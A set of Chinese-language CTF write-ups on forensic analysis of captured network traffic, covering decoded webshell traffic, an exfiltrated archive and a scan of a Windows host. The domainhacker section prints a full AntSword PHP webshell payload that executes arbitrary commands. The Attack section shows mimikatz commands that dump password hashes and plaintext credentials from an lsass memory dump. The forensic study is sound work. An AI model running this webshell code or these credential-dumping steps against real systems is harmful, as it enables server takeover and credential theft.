一,webshell流量
[GKCTF 2021]签到
先看协议分级,大部分是tcp,里面有http的基于的行文本数据占了很大的比重,看看里面有什么
过滤http的流量
点击一条流量,里面的内容进去后面有基于行的文本数据,
先解hex,再解base64看,得到一个倒序的网页名。
将http的数据导出来,按文件大小排序
有2kb大小的文件,打开后解密得到
有点像base64,但是不是,因为==要在最后,根据前面的信息,按行倒序
脚本如下
def reverse_line_content(input_text):# 按行分割文本lines = input_text.strip().split("\n")# 对每一行倒序reversed_lines = [line[::-1] for line in lines]# 组合回字符串reversed_text = "\n".join(reversed_lines)return reversed_text# 示例内容
input_text = """wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q"""# 调用函数
output_text = reverse_line_content(input_text)
print(output_text)
结果是
DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyAgICAgICAgIDIw
MjEtMDMtMzAgMjA6MDE6MDggICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tDQrnqpflj6M6Km5ldyA1MiAtIE5vdGVwYWQrKw0K5pe26Ze0OjIwMjEtMDMtMzAgMjA6
MDE6MTMNClvlm57ovaZdIA0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0NCueql+WPozoqbmV3IDUyIC0gTm90ZXBhZCsrDQrml7bpl7Q6MjAyMS0wMy0z
MCAyMDowMToxMw0KW+Wbnui9pl0gW+Wbnui9pl0gW+Wbnui9pl0gZmZsbGFhZ2d7e319V1dlZWxs
Y2MpKVvliKDpmaRdIFvliKDpmaRdIDAwbW1lZV9fR0dra0NDNDRGRl9fbW0xMXNzaWlDQ0NDQ0ND
Q0NDQ0MhIQ==
解密得到,ffllaagg{{}}WWeellcc))00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
有点重复 ,栅栏密码解一下
[HUBUCTF 2022 新生赛]messy_traffic(蚁剑木马加密流量)
先看协议分级,tcp里面有个mysql protocal(mysql协议)和基于行文本的数据有很大的比重
追踪一下tcp的流量
在第9流有一个flag.zip ,把流量包拿去分解一下,得到一个压缩包,里面有flag.txt,但是需要密码
搜索pass ,有一条流里面有passwd.txt
去看tcp的流,里面有
解压得到flag
[蓝帽杯 2022 初赛]domainhacker
题目描述
公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:NSSCTF{hash_of_machine}
该题目复现环境尚未取得主办方及出题人相关授权,如果侵权,请联系管理员删除。
这里说的机器码是PDC 机器账户的 NTLM Hash,即 PDC$ 计算机账户的 密码 Hash
还是先看协议分级,大多数是tcp
追踪tcp流,将里面的文件信息拿去url解码
得到: 是蚁剑的流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!@is_writable($item)) {continue;}$tmdir = $item . "/.c46a89a";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");}@ini_set("open_basedir", "/");@rmdir($tmdir);break;}
}function asenc($out) {return $out;
}function asoutput() {$output = ob_get_contents();ob_end_clean();echo "79c2" . "0b92";echo @asenc($output);echo "b4e7e" . "465b62";
}ob_start();
try {$p = base64_decode(substr($_POST["yee092cda97a62"], 2));$s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));$envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/" ? "-c \"{s}\"" : "/c \"{s}\"";if (substr($d, 0, 1) == "/") {@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=" . getenv("PATH") . ";C:\\Windows\\system32;C:\\Windows\\SysWOW64;C:\\Windows;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\");}if (!empty($envstr)) {$envarr = explode("||asline|||", $envstr);foreach ($envarr as $v) {if (!empty($v)) {@putenv(str_replace("||askey||||", "=", $v));}}}$r = "{p} {c}";function fe($f) {$d = explode(",", @ini_get("disable_functions"));if (empty($d)) {$d = array();} else {$d = array_map('trim', array_map('strtolower', $d));}return (function_exists($f) && is_callable($f) && !in_array($f, $d));}function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;}function runcmd($c) {$ret = 0;$d = dirname($_SERVER["SCRIPT_FILENAME"]);if (fe('system')) {@system($c, $ret);} elseif (fe('passthru')) {@passthru($c, $ret);} elseif (fe('shell_exec')) {print(@shell_exec($c));} elseif (fe('exec')) {@exec($c, $o, $ret);print(join("\n", $o));} elseif (fe('popen')) {$fp = @popen($c, 'r');while (!@feof($fp)) {print(@fgets($fp, 2048));}@pclose($fp);} elseif (fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while (!@feof($io[1])) {print(@fgets($io[1], 2048));}while (!@feof($io[2])) {print(@fgets($io[2], 2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif (fe('antsystem')) {@antsystem($c);} elseif (runshellshock($d, $c)) {return $ret;} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {$w = new COM('WScript.shell');$e = $w->exec($c);$so = $e->StdOut();$ret .= $so->ReadAll();$se = $e->StdErr();$ret .= $se->ReadAll();print($ret);} else {$ret = 127;}return $ret;}$ret = @runcmd($r . " 2>&1");print($ret != 0 ? "ret={$ret}" : "");
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>
里面有post请求,可以看到请求的参数,
其中,$s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));是和读取有关的指令
导出http的流量,里面有一个1.rar
通过找出各运行脚本,对最后那段命令的解密 ,看到了hacker使用rar对文件进行加密,同时,上面也有密码。
解压
[蓝帽杯 2022 初赛]domainhacker2
[HNCTF 2022 WEEK2]ez_flow
先看协议分级
直接搜,直接秒
[安洵杯 2019]Attack
题目没有提示,题目说攻击,就是找攻击的流量,打开流量,开头就是目录扫描
判断依据:
短时间内大量 HTTP HEAD 请求:
HEAD
请求不会返回完整的页面内容,只返回响应头,目的是快速确认文件或目录是否存在。多个 TCP 连接到 80 端口:攻击者使用了多个新连接,每次请求都建立新的 TCP 连接,符合自动化扫描工具的行为。
下载以后发现可以分离得到一个压缩包,需要密码,上面说这是administrator的秘密,也就是系统管理员的密码
搜索和系统管理员有关的sam,看tcp的833流,这里访问的lsass.dmp文件就是
lsass.dmp
是Windows 本地安全授权子系统服务(LSASS,Local Security Authority Subsystem Service)的转储(Dump)文件,其中包含Windows 进程lsass.exe
的内存数据,包括用户凭据(明文密码、NTLM 哈希、Kerberos 票据等)。
这里需要先将lsass.dmp文件导出来,去导出http信息处过滤.dmp,得到这个文件
按照命令提取 ,得到系统管理员的密码是W3lc0meToD0g3
执行的命令及解释:
privilege::debug 请求调试特权
token::elevate 提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM)
sekurlsa::minidump lsass.dmp 加载内存转储文件以获取目标用户的密码凭证
sekurlsa::logonpasswords full 查看所有可用的凭证
mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...Authentication Id : 0 ; 347784 (00000000:00054e88)
Session : Interactive from 1
User Name : Administrator
Domain : WIN7
Logon Server : WIN7
Logon Time : 2019/11/14 9:38:33
SID : S-1-5-21-1539156736-1959120456-2224594862-500msv :[00000003] Primary* Username : Administrator* Domain : WIN7* LM : c4d0515fb12046a475113b7737dc0019* NTLM : aafdad330f5a9f4fbf562ed3d25f97de* SHA1 : 8b9a7ca86970d1392b6fa0b94b8694c2b919469ftspkg :* Username : Administrator* Domain : WIN7* Password : W3lc0meToD0g3wdigest :* Username : Administrator* Domain : WIN7* Password : W3lc0meToD0g3kerberos :* Username : Administrator* Domain : WIN7* Password : W3lc0meToD0g3ssp :credman :Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019/11/14 9:35:06
SID : S-1-5-19msv :tspkg :wdigest :* Username : (null)* Domain : (null)* Password : (null)kerberos :* Username : (null)* Domain : (null)* Password : (null)ssp :credman :Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN7$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019/11/14 9:35:06
SID : S-1-5-20msv :tspkg :wdigest :* Username : WIN7$* Domain : WORKGROUP* Password : (null)kerberos :* Username : win7$* Domain : WORKGROUP* Password : (null)ssp :credman :Authentication Id : 0 ; 48847 (00000000:0000becf)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019/11/14 9:35:04
SID :msv :tspkg :wdigest :kerberos :ssp :credman :Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN7$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019/11/14 9:35:04
SID : S-1-5-18msv :tspkg :wdigest :* Username : WIN7$* Domain : WORKGROUP* Password : (null)kerberos :* Username : win7$* Domain : WORKGROUP* Password : (null)ssp :credman :
拿密码去解压压缩包,在flag.txt的末尾可以找到flag